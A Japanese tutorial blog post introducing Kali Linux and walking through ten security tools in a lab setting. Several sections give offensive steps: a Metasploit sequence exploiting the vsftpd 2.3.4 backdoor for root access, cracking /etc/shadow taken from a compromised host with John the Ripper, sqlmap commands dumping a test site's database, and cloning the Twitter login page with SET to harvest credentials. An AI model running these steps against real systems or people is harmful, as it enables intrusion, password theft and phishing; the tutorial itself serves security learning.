Kali Linuxは情報セキュリティ向けに開発されたDebianベースのLinuxディストリビューションです。
ペネトレーションテスト(侵入テスト)ができるツールをはじめ、他にも300以上のツールが標準でインストールされてます。
公式サイトより、VirtualBoxやVmawareのイメージファイルが無償で配布されてます!
https://www.kali.org/get-kali/#kali-virtual-machines
(私はVirtualBoxの64bit版で環境構築しました。環境構築時には、イメージファイルのダウンロードで約3~4GB、インストール時にもディスク空き容量が5GB以上は消費されるので注意しましょう。)
環境構築後のデスクトップ画面がかっこよくてテンションが上がりますよ!
- Kali Linuxて聞いたことあるけど、どういうものなのか?
- Kali Linuxでできることを知りたい
- Kali Linuxの特徴を知りたい
- Kali Linuxのツール(ツール一覧、ツールの使い方など)を知りたい
この記事では、上記のような問題や悩みについての原因や解決策について解説します。
目次
Kali Linuxでできること
Kali Linuxは情報セキュリティ向けに開発されたLinux
Kali Linuxは、情報セキュリティ向けに開発されたLinuxです。
ペネトレーションテスト(侵入テスト)ができるツールをはじめ、セキュリティに関するツールが300以上もインストールされてます!
Kali Linux公式サイト
https://www.kali.org/
The Most Advanced Penetration Testing Distribution
Kali Linux is an open-source, Debian-based Linux distribution geared towards various information security tasks, such as Penetration Testing, Security Research, Computer Forensics and Reverse Engineering.最先端のペネトレーションテスト用ディストリビューション
Kali Linuxは、ペネトレーションテスト、セキュリティ調査、コンピュータ・フォレンジック、リバース・エンジニアリングなど、様々な情報セキュリティ業務を目的とした、オープンソースでDebianベースのLinuxディストリビューションです。
・ペネトレーションテスト:侵入テスト
・コンピュータ・フォレンジック:コンピュータ本体に記録されたデータを収集・分析し、その法的な証拠性を明らかにする技術
・リバース・エンジニアリング:ソフトやハードの構造や仕組みを分析し、製造方法や動作などの技術情報を明らかにすること
Kali Linuxでできること:300を超えるセキュリティ系のツールが使える
Kali Linuxには、ペネトレーションテスト(侵入テスト)ツールなど、300以上のツールが標準でインストールされてます。
Kali Linuxの公式サイトでツール一覧を確認できます!
Kali Linux Tools Listing | Penetration Testing Tools
Kali Linuxでできること:主な13の機能(情報収集・脆弱性診断・攻撃など)
Kali Linux公式サイトでは、標準でインストールされている主な13の機能を紹介しています。
- Information Gathering(情報収集)
- Vulnerability Analysis(脆弱性診断)
- Exploitation Tools(エクスプロイト(脆弱性を利用した攻撃)用ツール)
- Wireless Attacks(ワイヤレス通信の攻撃)
- Forensics Tools(フォレンジック(証拠保全・分析など)用ツール)
- Web Applications(Webアプリケーション)
- Stress Testing(ストレステスト/負荷テスト)
- Sniffing & Spoofing(盗聴&なりすまし)
- Password Attacks(パスワード攻撃)
- Maintaining Access(アクセス権の維持)
- Hardware Hacking(ハードウェアハッキング)
- Reverse Engineering(リバース・エンジニアリング)
- Reporting Tools(レポートツール)
Kali Linuxでできること(ツール10選と各ツールでできること・使い方)
1. Nmap(Network Mapper):ポートスキャン
Nmapでできること
- 対象サーバのポートスキャン・セキュリティチェック
- 脆弱性診断
など
Nmapの使い方
nmapはLinuxコマンドの一つで、以下のような機能を備えてます。
・ポートスキャン(セキュリティスキャン)
・サービスのバージョン検知
・OSのバージョンの検知
など
Kali Linux上のターミナルで以下のようなコマンドを実行すると、対象サーバのスキャン結果が表示されます。
$ nmap -sV 192.168.128.133
2. Burp Suite:プロキシツール(HTTP通信のキャプチャ)
Burp Suiteでできること
- Webアプリケーションのセキュリティ診断
- プロキシツール(HTTP通信をキャプチャ)
- 通信内容を閲覧・改ざん
など
Burp Suiteの使い方
- Kali Linux上でターミナルを開き、「burpsuite」と入力、もしくはスタートメニューから「burpsuite」のアイコンをクリック&起動
- burpsuiteのアプリケーション画面にて、[Proxy]タブ→[intercept]タブをクリックし、その下のボタン [intercept is on]の状態にする
- [Open Browser]でブラウザを起動後、任意のURLにアクセスすると、リクエストがキャプチャされていることが確認できる
3. Wireshark:パケットキャプチャ
Wiresharkでできること
- パケットキャプチャ(LAN上に流れているパケットを「見える化」する)
Wiresharkの使い方
- Kali Linuxのスタートメニューから「wireshark」を起動
- キャプチャするインタフェースは「any」を選択
- ブラウザを起動して任意のURLにアクセス(例:google.com)
- wiresharkのアプリケーション画面上にリアルタイムにパケットがキャプチャされる
- 「tcp」や「http」で特定のプロトコルをフィルタリングも可能
4. Metasploit Framework:ペネトレーション(侵入)
Metasploit Frameworkでできること
- ペネトレーションテスト(侵入テスト)
- 脆弱性診断
など
Metasploit Frameworkの使い方
- 脆弱性のある被攻撃サーバを準備(metasploitable2 がよく使われる)
- Kali Linux上でMetasploit Flameworkを起動(今回は、Kali Linuxが攻撃側サーバとする)
- Metasploitが軌道しているターミナル上で以下のコマンドを入力
nmap -sV [被攻撃側のIPアドレス] search vsftpd 2.3.4 use exploit/unix/ftp/vsftpd_234_backdoor show options set RHOST [被攻撃側のIPアドレス] exploit
- 以上で被攻撃サーバへのroot権限での侵入が成功(
whoami
,pwd
,ifconfig
で侵入できていることが確認できる)
5. aircrack-ng:無線LANのハッキング
aircrack-ngでできること
- 無線LANのハッキング(パスワード解析、WEPやWPA/WPA2を使った無線通信の解析、など)
aircrack-ngの使い方
- Kali Linux上のスタートメニューから「aircrack-ng」のアイコンをクリックして起動
またはターミナルで以下のコマンドを実行してもOK
aircrack-ng
- 詳細な使い方はaircrack-ng公式サイトのチュートリアルで確認できる
6. Netcat:TCP/UDPパケットの読み書き
Netcatでできること
- TCPやUDPのパケットを読み書きできる
Netcatの使い方
- Kali Linux上のターミナルで
nc
またはnetcat
コマンドで実行する - 2つのターミナルを起動 → 以下のコマンドでポート指定してListen状態にすることで、簡易チャットのようなことが可能
nc -l -p 1234
nc 127.0.0.1 1234
7. John the Ripper:パスワード解析
John the Ripperでできること
- パスワード解析、パスワードクラッカー、ハッシュ解析
John the Ripperの使い方
- 暗号化されたパスワードファイルを入手する(例:ハッキングした被攻撃サーバから
/etc/shadow
や/etc/passwd
の中身をコピペしたファイルを作成) john
コマンドでパスワード解析を実行(以下はコマンド実行例)$ unshadow [被攻撃サーバから入手した /etc/shadow ファイル] [被攻撃サーバから入手した /etc/passwd ファイル] > cracktestfile.txt john cracktestfile.txt john cracktestfile.txt -show
(参考記事) John the Ripperを使ってみる
8. sqlmap:DB解析、SQLインジェクションを使ったペネトレーション
sqlmapでできること
- SQL インジェクションを使ったペネトレーションテスト(侵入テスト)
sqlmapの使い方
- 被攻撃用の公開Webサイトにアクセス
http://testphp.vulnweb.com/listproducts.php?cat=1 - Kali Linux上のターミナルで以下のような「sqlmap」コマンドを実行することでDBの中身(DB名やテーブル名やDBの内容)を閲覧できる
$ sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs $ sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables $ sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists --columns $ sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists -C aname --dump
9. Autopsy:デジタル・フォレンジック
Autopsyでできること
- デジタル・フォレンジック(デジタルデータの分析・調査)
Autopsyの使い方
- Kali Linux上のターミナルで root権限で
autopsy
コマンドを実行すると「Autopsy」が起動する - Web ブラウザで http://localhost:9999/autopsy へアクセス
以降の詳しい使い方は以下を参照
autopsy の使い方
10. Social Engineering Toolkit:偽サイトの作成
Social Engineering Toolkitでできること
- フィッシングサイト・偽サイトの作成
Social Engineering Toolkitの使い方
- Kali Linuxのメニューから「social engineering toolkit」(SET)を起動
- SETに表示されたメニューに従って以下のように入力
[1](Social-Engineering Attacks)→[2](Website Attack Vectors)→ [3](Credential Harvester Attack Method)→[未入力(Enter)]→[(クローンを作成したいURL)] ※ クローンするURLとしてTwitterのログイン画面(https://twitter.com/login)を指定 - WebブラウザのURLに「localhost」を入力すると、クローンの偽サイトが出来たことが確認できる
Kali Linux関連のおすすめ本
「ハッキング・ラボのつくりかた」は、ハッキングの実験環境(ハッキング・ラボ)を、PCとインターネット環境だけで構築する方法を解説しています。コストと時間を最小限に抑えて攻撃実験の環境を構築する方法、ラボに導入するツールの使用方法、仮想環境と物理デバイスの組み合わせ方など、豊富なノウハウを提供しています。
まとめ
- Kali Linuxは情報セキュリティ向けに開発されたLinux
- Kali Linuxには主要13機能がある(攻撃、脆弱性診断、パスワード解析など)
- Kali Linuxには300を超えるセキュリティ系ツールがある
- Kali Linuxの代表的ツール10選を紹介(nmap, wireshark, metasploit など)